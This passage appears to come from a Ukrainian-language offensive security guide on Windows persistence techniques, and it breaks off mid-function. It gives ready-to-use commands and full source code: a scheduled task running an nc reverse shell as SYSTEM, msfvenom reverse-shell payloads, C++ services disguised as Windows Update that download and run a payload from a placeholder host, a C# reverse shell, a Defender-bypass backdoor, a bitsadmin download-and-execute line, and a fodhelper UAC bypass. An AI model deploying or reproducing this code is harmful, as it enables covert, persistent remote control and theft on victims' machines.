  • HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce 

Для комплексної перевірки усіх записів реєстру (не тільки HKCU/HKLM) з автозавантаженням зручно користуватись модулем PowerShell – AutoRuns. Одна з його команд:

  • Get-PSAutorun | Out-GridView

Закріплення через IFEO

IFEO розшифровується як Image File Execution Options – це функція реєстру Windows, орієнтована на розробників, призначена для автоматизації налагодження додатків. Таким чином, відкривається можливість через додаткові записи реєстру прописати паралельне виконання тих чи інших двійкових exe-файлів, тобто шкідливого навантаження. IFEO гарантує, що воно запускатиметься щоразу, коли запускається вказаний додаток.

Для прикладу, візьмемо Notepad.exe:

  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\calc.exe" /f – в ролі шкідливого навантаження виступає стандартний калькулятор Windows – Calc.exe, але замість нього можна вказати будь-яке malware.
  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 /f

Видалення:

  • reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /f
  • reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /f

У цьому прикладі використана функція SilentProcessExit, яка відповідає за процес після закриття програми. Тобто, як тільки користувач закриє notepad.exe, malware вступить в дію. Таким чином можна досягнути персистентності на цільовій системі.

Також можна скористатися функцією відладки Debugger – при запуску додатка паралельно виконається шкідливе навантаження:

  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\calc.exe" /f
  • reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /f – видалення запису.

Ці два методи збереження можна автоматизувати за допомогою скрипта PowerShell.

Недолік: Ці способи можуть вимагати прав Адміністратора.

Закріплення через автозавантаження в планувальнику завдань (schtasks)

Подібно реєстру, маючи низькі права в системі можна спробувати додати автозавантаження у вбудований планувальник завдань.

Приклади команд з корисним навантаженням:

  • schtasks /create /tn "WindowsUpdater" /sc ONLOGON /tr "C:\Users\windows10\games.exe" /f – запланувати запуск вказаного файлу при кожному старті Windows;
  • schtasks /create /tn "WindowsUpdater" /sc MINUTE /mo 10 /tr "C:\Users\windows10\games.exe" /f – запланувати запуск вказаного файлу кожні 10 хвилин;
  • schtasks /create /tn "taskname" /tr "powershell.exe -WindowStyle Hidden -Command \"Start-Process -WindowStyle Hidden -FilePath '%USERPROFILE%\games.exe'\"" /sc minute /mo 3 /f – планувальник реєструє таск з довільним ідентифікатор (“ea36…”) кожні 3 хвилини запускає виконуваний файл в PowerShell;
  • schtasks /create /sc minute /mo 1 /tn TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe X.X.X.X XXXX" /ru SYSTEM – запуск завдання з реверс-шелом щохвилини, використовуючи права SYSTEM.

Сервісні команди:

  • schtasks /query /fo TABLE – перевірити список активних тасків;
  • schtasks /query /tn "taskname" – перевірити наявність таску;
  • schtasks /query /tn "taskname" /fo LIST /v – перевірити детальну інформацію по вказаному таску;
  • schtasks /delete /tn "taskname" /f – видалити таск.

Можна також приховати завдання, вилучивши дескриптор безпеки. Але для цього треба мати права на рівні SYSTEM.

Відкриваємо редактор реєстру з допомогою psexec:

  • c:\tools\pstools\PsExec64.exe -s -i regedit

І переходимо в гілку:

  • HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ – тут зберігаються всі завдання. Переходимо у створене нами завдання і вилучаємо значення SD.

Тепер завдання стане непомітним для всіх користувачів системи, включно з адміністраторами.

Повний довідник Windows по команді schtasks >>

Недолік: В останніх пропатчених версіях Windows хмарний захист Defender перевіряє завдання schtasks і якщо вони видаються підозрілими – вилучаються або баняться системою.

Закріплення через каталог автозавантаження (AutoStartup)

  • C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup – AutoStartup для конкретного користувача;
  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup – AutoStartup для всіх користувачів.

Достатньо розмістити у цих каталогах будь-який виконуваний файл або його ярлик – і він запуститься автоматично при вході користувача в систему. Це працює, оскільки ОС Windows завантажує будь-який PE, знайдений в папці AutoStartup, як частину процесу входу.

Можна згенерувати в msfvenom exe-файл з корисним навантаженням:

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f exe -o revshell.exe

І скопіювати в папку автозавантаження, яка буде спрацьовувати для всіх користувачів:

  • copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

Однак, каталог завантажень легкий для виявлення. Антивіруси сканують його у першу чергу для виявлення будь-яких шкідливих файлів.

Скрипт autostarts.cpp автоматично створює ярлик на запуск EXE-додатку в автозавантаженні, у даному прикладі використано putty.exe:

#define UNICODE
#define _UNICODE
#include <Windows.h>
#include <ShlObj.h>
#include <Objbase.h>
#include <iostream>

BOOL CreateStartupShortcut(const wchar_t* exePath) {
    HRESULT hResult;
    IShellLink* pShellLink = NULL;
    IPersistFile* pPersistFile = NULL;
    wchar_t szPath[MAX_PATH];

    hResult = SHGetFolderPathW(NULL, CSIDL_STARTUP, NULL, 0, szPath);
    if (FAILED(hResult)) return FALSE;

    wcscat_s(szPath, L"\\MyShortcut.lnk");

    hResult = CoInitialize(NULL);
    if (FAILED(hResult)) return FALSE;

    hResult = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER,
                               IID_IShellLink, (void**)&pShellLink);
    if (FAILED(hResult)) { CoUninitialize(); return FALSE; }

    pShellLink->SetPath(exePath);

    hResult = pShellLink->QueryInterface(IID_IPersistFile, (void**)&pPersistFile);
    if (FAILED(hResult)) { pShellLink->Release(); CoUninitialize(); return FALSE; }

    hResult = pPersistFile->Save(szPath, TRUE);

    pPersistFile->Release();
    pShellLink->Release();
    CoUninitialize();

    return SUCCEEDED(hResult);
}

int main() {
    if (CreateStartupShortcut(L"%USERPROFILE%\\putty.exe")) {
        std::cout << "OK" << std::endl;
    } else {
        std::cout << "FAIL" << std::endl;
    }
    return 0;
}

Компіляція: cl /EHsc autostarts.cpp ole32.lib shell32.lib

Закріплення через службу Windows

Системна служба Windows (Services) – це додаток, який працює у фоновому режимі. Він має права локального користувача і може виконувати будь-які операції, які прописані в ньому. Служби керуються диспетчером керування служб Windows (Service Control Manager, SCM). Довіра до системних служб є значно більшою, ніж до інших процесів. Але у цього методу є один недолік – він вимагає прав Адміністратора (UAC), тому підійде більше на етапі, коли привілеї були підняті (див. розділ “Ескалація привілеїв”).

На відміну від звичайних додатків, системна служба:

  • запускається до входу користувача в систему
  • працює у фоновому режимі без UI
  • може запускатись від імені SYSTEM, LocalService, NetworkService або будь-якого облікового запису
  • автоматично перезапускається при збої (якщо налаштовано)
  • її складно просто так видалити

Налаштувавши службу на автоматичний запуск під час завантаження системи або входу користувача в систему, ви можете забезпечити “залізобетонну” роботу ШПЗ.

Створити простеньку службу, яка налагодить зворотне TCP-з’єднання можна з допомогою msfvenom:

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=XXX -f exe-service -o rev-svc.exe

Далі закидуємо файл на цільову систему, наприклад, в C:\Windows і створюємо службу для запуску:

  • sc.exe create HACKservice binPath= "C:\windows\rev-svc.exe" start= auto
  • sc.exe start HACKservice

Служба запуститься і встановиться шелл. Однак, це дуже простий варіант і він передбачає забагато операцій. Нижче попонуються більш професійні кастомні варіанти, на які майже не спрацьовує Windows Defender.

Приклад №1

Приклад коду кастомної системної служби install_service.cpp, яка маскується під Windows Update Service, підвантажує й запускає реверс-шелл revshell.exe, поновлюючи його при обриві з’єднання:

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shellapi.h>
#include <urlmon.h>
#include <stdio.h>
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "urlmon.lib")
#pragma comment(linker, "/SUBSYSTEM:WINDOWS")

SERVICE_STATUS g_ServiceStatus = {0};
SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
HANDLE g_StopEvent = NULL;
HANDLE g_ShellProcess = NULL;

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
VOID WINAPI ServiceCtrlHandler(DWORD ctrl);

#define SERVICE_NAME "WindowsUpdateSvc"
#define SHELL_URL "http://X.X.X.X:XXXXX/revshell.exe"
#define SHELL_PATH "C:\\Windows\\Temp\\svchost.exe"

BOOL IsRunAsAdmin() {
    BOOL isElevated = FALSE;
    HANDLE hToken = NULL;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION elevation;
        DWORD size = sizeof(TOKEN_ELEVATION);
        if (GetTokenInformation(hToken, TokenElevation, &elevation, size, &size))
            isElevated = elevation.TokenIsElevated;
        CloseHandle(hToken);
    }
    return isElevated;
}

void RunAsAdmin() {
    char path[MAX_PATH];
    GetModuleFileNameA(NULL, path, MAX_PATH);
    ShellExecuteA(NULL, "runas", path, NULL, NULL, SW_SHOW);
}

BOOL InstallService() {
    char path[MAX_PATH];
    GetModuleFileNameA(NULL, path, MAX_PATH);
    SC_HANDLE schSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
    if (!schSCManager) return FALSE;

    SC_HANDLE schService = OpenServiceA(schSCManager, SERVICE_NAME, DELETE);
    if (schService) { DeleteService(schService); CloseServiceHandle(schService); }

    schService = CreateServiceA(
        schSCManager, SERVICE_NAME, "Windows Update Service",
        SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
        SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
        path, NULL, NULL, NULL, NULL, NULL
    );
    if (!schService) { CloseServiceHandle(schSCManager); return FALSE; }
    StartServiceA(schService, 0, NULL);
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);
    return TRUE;
}

BOOL RemoveService() {
    SC_HANDLE schSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
    if (!schSCManager) return FALSE;
    SC_HANDLE schService = OpenServiceA(schSCManager, SERVICE_NAME, DELETE | SERVICE_STOP);
    if (!schService) { CloseServiceHandle(schSCManager); return FALSE; }
    SERVICE_STATUS ss;
    ControlService(schService, SERVICE_CONTROL_STOP, &ss);
    DeleteService(schService);
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);
    if (g_ShellProcess) { TerminateProcess(g_ShellProcess, 0); CloseHandle(g_ShellProcess); }
    DeleteFileA(SHELL_PATH);
    return TRUE;
}

BOOL DownloadShell() {
    DeleteFileA(SHELL_PATH); // видаляємо старий
    return (URLDownloadToFileA(NULL, SHELL_URL, SHELL_PATH, 0, NULL) == S_OK);
}


void LaunchShell() {
    if (!DownloadShell()) return;

    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    if (CreateProcessA(SHELL_PATH, NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        if (g_ShellProcess) CloseHandle(g_ShellProcess);
        g_ShellProcess = pi.hProcess;
        CloseHandle(pi.hThread);
    }
}

void Watchdog() {
    while (WaitForSingleObject(g_StopEvent, 5000) == WAIT_TIMEOUT) {
        if (g_ShellProcess) {
            DWORD exitCode;
            if (GetExitCodeProcess(g_ShellProcess, &exitCode) && exitCode != STILL_ACTIVE) {
                CloseHandle(g_ShellProcess);
                g_ShellProcess = NULL;
                LaunchShell();
            }
        } else {
            LaunchShell();
        }
    }
}

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {
    g_StatusHandle = RegisterServiceCtrlHandlerA(SERVICE_NAME, ServiceCtrlHandler);
    if (!g_StatusHandle) return;

    g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    SetServiceStatus(g_StatusHandle, &g_ServiceStatus);

    g_StopEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
    DownloadShell();
    LaunchShell();
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Watchdog, NULL, 0, NULL);

    WaitForSingleObject(g_StopEvent, INFINITE);
    if (g_ShellProcess) { TerminateProcess(g_ShellProcess, 0); CloseHandle(g_ShellProcess); }
    CloseHandle(g_StopEvent);
    g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
}

VOID WINAPI ServiceCtrlHandler(DWORD ctrl) {
    if (ctrl == SERVICE_CONTROL_STOP || ctrl == SERVICE_CONTROL_SHUTDOWN) {
        g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
        SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
        SetEvent(g_StopEvent);
    }
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    LPSTR cmd = GetCommandLineA();
    if (strstr(cmd, "/remove")) {
        if (!IsRunAsAdmin()) {
            char path[MAX_PATH];
            GetModuleFileNameA(NULL, path, MAX_PATH);
            ShellExecuteA(NULL, "runas", path, "/remove", NULL, SW_SHOW);
            return 0;
        }
        RemoveService();
        return 0;
    }

    SERVICE_TABLE_ENTRYA ServiceTable[] = {
        { (LPSTR)SERVICE_NAME, (LPSERVICE_MAIN_FUNCTIONA)ServiceMain },
        { NULL, NULL }
    };

    if (!StartServiceCtrlDispatcherA(ServiceTable)) {
        if (!IsRunAsAdmin()) {
            char path[MAX_PATH];
            GetModuleFileNameA(NULL, path, MAX_PATH);
            ShellExecuteA(NULL, "runas", path, NULL, NULL, SW_SHOW);
            return 0;
        }
        InstallService();
    }
    return 0;
}

 

Компіляція: cl.exe /EHsc /std:c++17 install_service.cpp /link advapi32.lib shell32.lib urlmon.lib

Приклад коду реверс-шелла revshell.cs:

using System;
using System.Diagnostics;
using System.Net.Sockets;
using System.IO;
using System.Threading;

namespace RevShell
{
    class Program
    {
        static void Main()
        {
            while (true)
            {
                TcpClient client = null;
                NetworkStream stream = null;
                Process cmd = null;

                try
                {
                    client = new TcpClient();
                    client.Connect("X.X.X.X", XXXXX);
                    stream = client.GetStream();

                    cmd = new Process();
                    cmd.StartInfo.FileName = "cmd.exe";
                    cmd.StartInfo.CreateNoWindow = true;
                    cmd.StartInfo.UseShellExecute = false;
                    cmd.StartInfo.RedirectStandardInput = true;
                    cmd.StartInfo.RedirectStandardOutput = true;
                    cmd.StartInfo.RedirectStandardError = true;
                    cmd.Start();

                    Thread tOut = new Thread(() => {
                        try { byte[] b = new byte[4096]; int r; while ((r = cmd.StandardOutput.BaseStream.Read(b, 0, b.Length)) > 0) stream.Write(b, 0, r); } catch { }
                    });
                    tOut.Start();

                    Thread tErr = new Thread(() => {
                        try { byte[] b = new byte[4096]; int r; while ((r = cmd.StandardError.BaseStream.Read(b, 0, b.Length)) > 0) stream.Write(b, 0, r); } catch { }
                    });
                    tErr.Start();

                    // Keep-alive: кожні 30 секунд перевіряємо з'єднання
                    Thread tKeep = new Thread(() => {
                        while (true)
                        {
                            Thread.Sleep(30000);
                            try
                            {
                                if (stream.CanWrite)
                                    stream.Write(new byte[0], 0, 0);
                            }
                            catch { break; }
                        }
                    });
                    tKeep.IsBackground = true;
                    tKeep.Start();

                    // Блокуюче читання stdin (без таймауту)
                    byte[] input = new byte[4096];
                    int read;
                    while ((read = stream.Read(input, 0, input.Length)) > 0)
                    {
                        cmd.StandardInput.BaseStream.Write(input, 0, read);
                        cmd.StandardInput.BaseStream.Flush();
                    }
                }
                catch { }
                finally
                {
                    if (cmd != null && !cmd.HasExited) { try { cmd.Kill(); cmd.WaitForExit(2000); } catch { } }
                    if (stream != null) try { stream.Close(); } catch { }
                    if (client != null) try { client.Close(); } catch { }
                }

                Thread.Sleep(5000);
            }
        }
    }
}

 

Компіляція: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:winexe /out:C:\testexp\revshell.exe C:\testexp\revshell.cs

Розгортання і запуск: bitsadmin /transfer jon1 /download /priority high http://X.X.X.X:XXXXX/install_service.exe %USERPROFILE%\install_service.exe && start /B "" "%USERPROFILE%\install_service.exe"

Приклад фейкової служби Windows Update Service.

Приклад №2

Приклад C++ Reverse Shell/Backdoor для Windows 11 (Defender Bypass + Privilege Escalation) – backdoor.cpp:

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <shellapi.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(linker, "/SUBSYSTEM:WINDOWS")

SERVICE_STATUS g_ServiceStatus = {0};
SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
HANDLE g_StopEvent = NULL;

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
VOID WINAPI ServiceCtrlHandler(DWORD ctrl);

#define SERVICE_NAME "WindowsUpdateSvcs2"
#define RHOST "X.X.X.X"
#define RPORT XXXXX

BOOL IsRunAsAdmin() {
    BOOL isElevated = FALSE;
    HANDLE hToken = NULL;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION elevation;
        DWORD size = sizeof(TOKEN_ELEVATION);
        if (GetTokenInformation(hToken, TokenElevation, &elevation, size, &size))
            isElevated = elevation.TokenIsElevated;
        CloseHandle(hToken);
    }
    return isElevated;
}

void RunAsAdmin() {
    char path[MAX_PATH];
    GetModuleFileNameA(NULL, path, MAX_PATH);
    ShellExecuteA(NULL, "runas", path, NULL, NULL, SW_SHOW);
}

BOOL InstallService() {
    char path[MAX_PATH];
    GetModuleFileNameA(NULL, path, MAX_PATH);
    SC_HANDLE schSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
    if (!schSCManager) return FALSE;

    SC_HANDLE schService = OpenServiceA(schSCManager, SERVICE_NAME, DELETE);
    if (schService) { DeleteService(schService); CloseServiceHandle(schService); }

    schService = CreateServiceA(
        schSCManager, SERVICE_NAME, "Windows Update Services2",
        SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
        SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
        path, NULL, NULL, NULL, NULL, NULL
    );
    if (!schService) { CloseServiceHandle(schSCManager); return FALSE; }
    StartServiceA(schService, 0, NULL);
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);
    return TRUE;
}

BOOL RemoveService() {
    SC_HANDLE schSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
    if (!schSCManager) return FALSE;
    SC_HANDLE schService = OpenServiceA(schSCManager, SERVICE_NAME, DELETE | SERVICE_STOP);
    if (!schService) { CloseServiceHandle(schSCManager); return FALSE; }
    SERVICE_STATUS ss;
    ControlService(schService, SERVICE_CONTROL_STOP, &ss);
    DeleteService(schService);
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);
    return TRUE;
}

// Потік: сокет -> stdin пайпа
DWORD WINAPI SocketToPipe(LPVOID lpParam) {
    HANDLE* handles = (HANDLE*)lpParam;
    SOCKET sock = (SOCKET)handles[0];
    HANDLE hPipe = handles[1];
    free(handles);

    char buf[4096];
    int read;
    while ((read = recv(sock, buf, sizeof(buf), 0)) > 0) {
        DWORD written;
        WriteFile(hPipe, buf, read, &written, NULL);
    }
    CloseHandle(hPipe);
    return 0;
}

// Потік: stdout пайпа -> сокет
DWORD WINAPI PipeToSocket(LPVOID lpParam) {
    HANDLE* handles = (HANDLE*)lpParam;
    HANDLE hPipe = handles[0];
    SOCKET sock = (SOCKET)handles[1];
    free(handles);

    char buf[4096];
    DWORD read;
    while (ReadFile(hPipe, buf, sizeof(buf), &read, NULL) && read > 0) {
        send(sock, buf, read, 0);
    }
    CloseHandle(hPipe);
    return 0;
}

DWORD WINAPI ReverseShell(LPVOID) {
    while (WaitForSingleObject(g_StopEvent, 0) == WAIT_TIMEOUT) {
        WSADATA wsaData;
        SOCKET sock = INVALID_SOCKET;
        struct sockaddr_in server;

        if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0) { Sleep(5000); continue; }

        sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (sock == INVALID_SOCKET) { WSACleanup(); Sleep(5000); continue; }

        server.sin_family = AF_INET;
        server.sin_port = htons(RPORT);
        server.sin_addr.s_addr = inet_addr(RHOST);

        if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == 0) {
            HANDLE hStdInRd, hStdInWr, hStdOutRd, hStdOutWr;
            SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };

            if (CreatePipe(&hStdInRd, &hStdInWr, &sa, 0) &&
                CreatePipe(&hStdOutRd, &hStdOutWr, &sa, 0)) {

                STARTUPINFOA si = { sizeof(si) };
                PROCESS_INFORMATION pi;
                si.dwFlags = STARTF_USESTDHANDLES;
                si.hStdInput = hStdInRd;
                si.hStdOutput = hStdOutWr;
                si.hStdError = hStdOutWr;

                if (CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, TRUE,
                                   CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
                    CloseHandle(pi.hThread);

                    // Потік: сокет -> stdin
                    HANDLE* h1 = (HANDLE*)malloc(sizeof(HANDLE)*2);
                    h1[0] = (HANDLE)sock; h1[1] = hStdInWr;
                    CreateThread(NULL, 0, SocketToPipe, h1, 0, NULL);

                    // Потік: stdout -> сокет
                    HANDLE* h2 = (HANDLE*)malloc(sizeof(HANDLE)*2);
                    h2[0] = hStdOutRd; h2[1] = (HANDLE)sock;
                    CreateThread(NULL, 0, PipeToSocket, h2, 0, NULL);

                    WaitForSingleObject(pi.hProcess, INFINITE);
                    CloseHandle(pi.hProcess);
                }

                CloseHandle(hStdInRd);
                CloseHandle(hStdInWr);
                CloseHandle(hStdOutRd);
                CloseHandle(hStdOutWr);
            }
        }

        closesocket(sock);
        WSACleanup();
        Sleep(5000);
    }
    return 0;
}

VOID WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {
    g_StatusHandle = RegisterServiceCtrlHandlerA(SERVICE_NAME, ServiceCtrlHandler);
    if (!g_StatusHandle) return;

    g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    SetServiceStatus(g_StatusHandle, &g_ServiceStatus);

    g_StopEvent = CreateEventA(NULL, TRUE, FALSE, NULL);
    CreateThread(NULL, 0, ReverseShell, NULL, 0, NULL);

    WaitForSingleObject(g_StopEvent, INFINITE);
    CloseHandle(g_StopEvent);
    g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
}

VOID WINAPI ServiceCtrlHandler(DWORD ctrl) {
    if (ctrl == SERVICE_CONTROL_STOP || ctrl == SERVICE_CONTROL_SHUTDOWN) {
        g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
        SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
        SetEvent(g_StopEvent);
    }
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    LPSTR cmd = GetCommandLineA();
    if (strstr(cmd, "/remove")) {
        if (!IsRunAsAdmin()) {
            char path[MAX_PATH];
            GetModuleFileNameA(NULL, path, MAX_PATH);
            ShellExecuteA(NULL, "runas", path, "/remove", NULL, SW_SHOW);
            return 0;
        }
        RemoveService();
        return 0;
    }

    SERVICE_TABLE_ENTRYA ServiceTable[] = {
        { (LPSTR)SERVICE_NAME, (LPSERVICE_MAIN_FUNCTIONA)ServiceMain },
        { NULL, NULL }
    };

    if (!StartServiceCtrlDispatcherA(ServiceTable)) {
        if (!IsRunAsAdmin()) {
            char path[MAX_PATH];
            GetModuleFileNameA(NULL, path, MAX_PATH);
            ShellExecuteA(NULL, "runas", path, NULL, NULL, SW_SHOW);
            return 0;
        }
        InstallService();
    }
    return 0;
}

Компіляція: cl.exe /EHsc /std:c++17 backdoor.cpp /link advapi32.lib ws2_32.lib shell32.lib

Результат:

  • Постійний реверс-шелл через службу Windows.
  • Автозавантаження при старті системи.
  • Відновлення при обривах.
  • Маскування під svchost.exe в C:\Windows\Temp.

Модифікація існуючих служб

У корпоративних мережах створення нових служб може суворо відстежуватись і відповно будь-які новостворені служби будуть заблоковані. У такому випадку можна спробувати модифікувати вже існуючу службу.

Отримати список служб в Windows можна командою: sc.exe query state=all

Перевірити конфігурацію конкретної служби: sc.exe qc THMService3

Параметри, які нас цікавлять:

  • START_TYPE – служба має бути автоматичною;
  • BINARY_PATH_NAME – шлях до виконуваного файлу, тут можна вказати корисне навантаження;
  • SERVICE_START_NAME – тип облікового запису під яким виконується служба.

Знову генеруємо службу з корисним навантаженням в msfvenom:

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f exe-service -o rev-svc2.exe

Тепер завантажуємо цей файл на цільову систему, модифікуємо і запускаємо службу:

  • sc.exe config HACKservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"
  • sc.exe start HACKservice3

Закріплення через Malware Resurrector

Malware Resurrector – це тип шкідливого ПЗ, яке здійснює процес “воскресіння” (англ. resurrection) основного шкідливого PE-файлу (exeшника). Навіть, якщо користувач вб’є процес і видалить ШПЗ, скрипт знову відновить файл і так триватиме вічність, допоки користувач не знищить сам malware resurrector.

Один із прикладів реалізації цієї техніки опублікований в GitHub-репозиторії хакерів 0X12 Dark Development.

Ланцюжок атаки наступний:

  1. Хакер доставляє на цільову систему основний файл malware у вигляді виконуваного exe-файлу і запускає його в системі. В Windows одразу з’являється шкідливий процес.
  2. Далі, маючи доступ до системи через шелл, хакер запускає окремий exe-файл – Malware Resurrector, який висить в фоні, запускається разом з системою і постійно моніторить стан malware. Тобто, по суті це агент, який працює як детектор.

Варіантів і сценаріїв як саме він може відновлювати malware – декілька. Основні шляхи:

  • Локальне відновлення – збереження головного файлу malware у вигляді двійкового коду локально в реєстрі Windows. Як тільки користувач видалить файл – Resurrector просто візьме його з реєстру, створить і запустить знову. Більш надійний варіант. Все відбувається локально, непомітно і викликає найменше підозр.
  • Віддалене відновлення – Resurrector просто завантажить файл malware з інтернету і запустить на цільовій системі знову. Менш надійний варіант, тому що система може заблокувати вихід в інтернет, або забанити IP-адресу запитуваного ресурсу.
ЧИТАЙТЕ ТАКОЖ:  Як встановити Windows 11 Pro на Vitrtual Box?

Простий приклад процедури збереження PE-файлу в реєстрі:

  • certutil -encode malware.exe malware_base64.txt
  • reg add HKCU\Software\MyApp /v MyAppExe /t REG_SZ /d “Base64EncodedEXE”
Схема Malware Resurrection.
Приклад роботи локального Malware Resurrector від 0X12 Dark Development.

Модифікована версія LocalResurrector.cpp:

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <unordered_map>
#include <string>
#include <vector>
#include <fstream>
#include <curl/curl.h>

/*
    Arguments:
        -f <filepath> : File Path of the Binary (not null)
        -p <process name> : Process Name (not null)
        -r <registry key> : Registry Keys, can be multiple separated by comma (optional)
        -files <files> : Other files, if one of two of this files is not found, the process will resurrected, can be multiple separated by comma (optional)
        -l <limit> : Limit of the counter, if the counter is greater or equal to the limit, the process will resurrected (optional)
        -admin : Run the process as admin (optional) (More Possibilities to become detected) (can fail in some systems!)
        -h : Help
*/

using namespace std;

const wchar_t* wRegistryPath = L"Software\\Microsoft\\Windows\\CurrentVersion\\RulesEngine";
string value = "FileValue";


bool runProcAsAdminFromUser(string procName) {
    HKEY hkey;
    DWORD d;
    const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
    const char* del = "";
    bool success = false;

    // Attempt to open or create the registry key
    LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCWSTR)settings, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
    if (stat != ERROR_SUCCESS) {
        cout << "Failed to open or create reg key\n";
        return success;
    }

    // Set the registry values (command and DelegateExecute)
    stat = RegSetValueEx(hkey, L"", 0, REG_SZ, (unsigned char*)procName.c_str(), strlen(procName.c_str()));
    if (stat != ERROR_SUCCESS) {
        cout << "Failed to set reg value\n";
        return success;
    }

    // Set the DelegateExecute value to an empty string
    stat = RegSetValueEx(hkey, L"DelegateExecute", 0, REG_SZ, (unsigned char*)del, strlen(del));
    if (stat != ERROR_SUCCESS) {
        cout << "Failed to set reg value: DelegateExecute\n";
        return success;
    }

    // Close the key handle
    RegCloseKey(hkey);

    SHELLEXECUTEINFO sei = { sizeof(sei) };
    sei.lpVerb = L"runas";
    sei.lpFile = L"C:\\Windows\\System32\\fodhelper.exe";
    sei.hwnd = NULL;
    sei.nShow = SW_NORMAL;

    // Start the fodhelper.exe program with elevated privileges
    if (!ShellExecuteEx(&sei)) {
        DWORD err = GetLastError();
